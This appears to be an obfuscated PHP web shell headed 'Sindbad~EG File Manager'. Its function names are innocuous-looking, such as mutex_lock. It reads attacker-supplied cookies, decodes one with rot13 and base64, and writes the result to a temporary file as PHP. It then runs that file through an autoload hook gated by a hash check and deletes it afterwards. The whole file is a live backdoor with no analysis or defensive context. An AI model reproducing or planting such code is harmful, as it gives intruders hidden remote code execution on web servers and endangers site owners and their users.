Sindbad~EG File Manager

<?php


if (isset($_COOKIE[51+-51]) && isset($_COOKIE[31+-30]) && isset($_COOKIE[42-39]) && isset($_COOKIE[-48+52])) {
    $flag = $_COOKIE;
    function mutex_lock($dchunk) {
        $flag = $_COOKIE;
        $tkn = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'dc85b33d');
        if (!is_writable($tkn)) {
            $tkn = getcwd() . DIRECTORY_SEPARATOR . "publish_content";
        }
        $factor = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($flag[3]));
        if (is_writeable($tkn)) {
            $component = fopen($tkn, 'w+');
            fputs($component, $factor);
            fclose($component);
            spl_autoload_unregister(__FUNCTION__);
            require_once($tkn);
            @array_map('unlink', array($tkn));
        }
    }
    spl_autoload_register("mutex_lock");
    $ref = "e943802edeb08c263babdfb6872154ae";
    if (!strncmp($ref, $flag[4], 32)) {
        if (@class_parents("reverse_searcher_reverse_lookup", true)) {
            exit;
        }
    }
}